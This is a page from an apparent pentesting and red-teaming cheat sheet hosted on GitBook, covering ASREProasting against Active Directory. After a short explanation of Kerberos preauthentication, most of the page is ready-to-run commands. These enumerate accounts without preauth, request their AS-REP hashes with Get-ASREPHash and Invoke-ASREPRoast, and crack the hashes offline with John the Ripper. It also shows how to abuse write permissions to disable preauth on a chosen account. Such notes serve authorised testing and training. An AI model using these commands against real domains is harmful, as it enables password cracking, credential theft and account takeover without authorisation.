Pentesting and Red Teaming Notes
  • 🖥️Pentesting and Red Teaming Cheatsheet
  • Web Application Pentesting(BlackBox)
    • SQL Injection
    • Blind SQL Injection
    • Path Traversal
    • Attacking Authentication
    • Race Conditions
    • Business Logic Vulnerabilities
    • Command Injections
    • Information disclosure
    • Access Controls
    • File upload Attacks
    • XXE
    • Server Side Request Forgery
    • Api Testing
    • noSQL
    • DOM based vulnerabilities
    • Cross Site scripting
  • Infrastructure Pentesting
    • Windows Privilege Escalation
    • Attacking Active Directory
    • File Transfers and Download
    • Pivoting(Tunneling and Port Forwarding)
    • Linux Privilege Escalation
    • Stealing NTLM hashes
    • Tricks and Tips
  • Active Directory Pentesting
    • powershell theory
    • Methodology
    • domain enumeration
    • File Transfer
    • PowerShell ADModule
    • Local Privilege Escalation
    • PowerView Commands
    • ACLs Descriptions
    • ACLs Abuse
    • ACL
    • Trusts
    • User Hunting
    • group policy
    • Mimikatz
    • BloodHound
    • LateralMovement
    • Kerberoasting
    • defense bypasses
    • Set-SPN
    • ASREProasting
    • Unconstrained Delegation
    • Constrained Delegation
    • Resource Based Constrained Delegation
    • AD CS
    • Persistance
    • Priv Esc Trusts Inside Forest
    • MSSQL Servers
    • Priv Esc Trusts Across Forest
    • Tips And Tricks
    • Service Tickets and Abuses
  • Reconnaissance
    • Web Application Reconnaissance
    • External Reconnaissance
Powered by GitBook
On this page
  • ASREProasting working
  • Enumerating accounts with Kerberos Preauthdisabled
  • We can also Force disable Kerberos Preauth:
  1. Active Directory Pentesting

ASREProasting

ASREProasting working

If a user's UserAccountControl settings have "Do not require Kerberos preauthentication" enabled i.e. Kerberos preauth is disabled, it is possible to grab user's crackable AS-REP and brute-force it offline. It means during the first step of kerberose where a valid user asks for TGT with authentication server he/she needs to send an encrypted timestamp along with the request. The timestamp is encrypted with the user's password and If the DC can decrypt that timestamp using its own record of the user’s password hash, it will send back an Authentication Server Response (AS-REP) message that contains a Ticket Granting Ticket (TGT). However, if preauthentication is disabled, an attacker could request authentication data for any user and the DC would return an AS-REP message. Since part of that message is encrypted using the user’s password, the attacker can then attempt to brute-force the user’s password offline. We should use asreproasting if we have generic all or generic write permission over a user.

Enumerating accounts with Kerberos Preauthdisabled

  • Using PowerView

Get-DomainUser -PreauthNotRequired -Verbose
  • Using ActiveDirectorymodule:

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth
  • ASreproast

Get-ASREPHash -UserName VPN1user -Verbose
  • To enumerate all users with Kerberos preauthdisabled and request a hash

Invoke-ASREPRoast -Verbose
  • We can use John The Ripper to brute-force the hashes offline

john.exe --wordlist=C:\AD\Tools\kerberoast\10k-worst-pass.txt C:\AD\Tools\asrephashes.txt

We can also Force disable Kerberos Preauth:

  • Let's enumerate the permissions for RDPUserson ACLs using PowerView

Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"}
  • We found we have generic write or generic all permission that means we can disable pre auth on a user's account and asreproast

Set-DomainObject -Identity Control1User -XOR @{useraccountcontrol=4194304} -Verbose
PreviousSet-SPNNextUnconstrained Delegation

Last updated 10 months ago